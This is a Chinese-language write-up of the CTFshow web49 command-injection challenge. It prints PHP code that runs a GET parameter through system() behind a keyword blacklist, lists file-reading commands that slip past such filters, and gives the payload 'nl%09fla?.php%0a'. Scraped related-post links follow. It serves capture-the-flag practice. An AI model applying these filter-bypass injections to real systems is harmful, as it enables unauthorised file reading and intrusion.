目录

  • 源码
  • 知识点
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

知识点

发现nl依然没有被过滤

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

题解

?c=nl%09fla?.php%0a


总结

水题

CTFshow 命令执行 web49相关推荐

  1. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  2. [CTFSHOW]命令执行

    文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...

  3. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  4. CTFshow 命令执行 web72

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  5. ctfshow命令执行篇

    web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...

  6. ctfshow 命令执行 web29-web77 web118-122 web124 wp

    南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...

  7. [CTFSHOW]命令执行55-74

    web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...

  8. ctfshow命令执行(持续更新,已更至web39)

    做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...

  9. ctfshow命令执行

    目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

最新文章

  1. Oracle宣布终止所有Intel Itanium平台上的软件开发
  2. 《算法设计与分析基础》Chapt 2 算法效率分析基础
  3. wxpython动态实时绘图_wxPython: 简单的绘图例子
  4. 编译arm版本驱动模块
  5. android 学习记录-----------android 活动 意图 碎片
  6. 详解JavaScript中void语句的使用
  7. 为什么中国这么多高薪程序员,开发不出Java, Typescript, Python, Rust, Node.js这些基础设施?...
  8. 计算机网络层实验路由表苏州科技,苏州科技大学计算机网络实验报告课案.docx...
  9. 方法的返回值类型是object_JavaScript中如何判断类型
  10. [Objective-C语言教程]动态绑定(32)
  11. spring.profiles.active配置了没生效_微服务架构之「 配置中心 」
  12. 如何看待清华大学生命科学学院削减研究生补助的行为?
  13. 瑞恩面试编程题:找出一个目录下所有的文件
  14. HTTP协议及POST与GET操作差异,C#中如何使用POST、GET等
  15. 错误 C1083 无法打开源文件
  16. 2022学术道德与学术规范教育【研究生】SPOC课程答案
  17. python爬虫小实例
  18. Centos7配置 yum代理
  19. 微软zone DNS服务器,在DNS服务器上创建DNS zone
  20. 字符串操作——substr用法

热门文章

  1. NIO和Reactor
  2. phpstrtotime()对于31日求上个月有问题
  3. python datetime模块和time模块
  4. Android高通平台下编译时能生成(拷贝)预编译的so到system的lib目录
  5. java 开票金额拆分_关于开票尾差拆分凑整的算法问题
  6. 阿里重磅发布大规模图神经网络平台AliGraph,架构算法解读
  7. 2019 阿里云峰会·北京站正式启动,互联网出海分论坛报名开启...
  8. 剑指offer之python实现
  9. 从V.C.Space抄来的
  10. 《编写高质量代码:改善c程序代码的125个建议》——建议4-1:整数转换为新类型时必须做范围检查...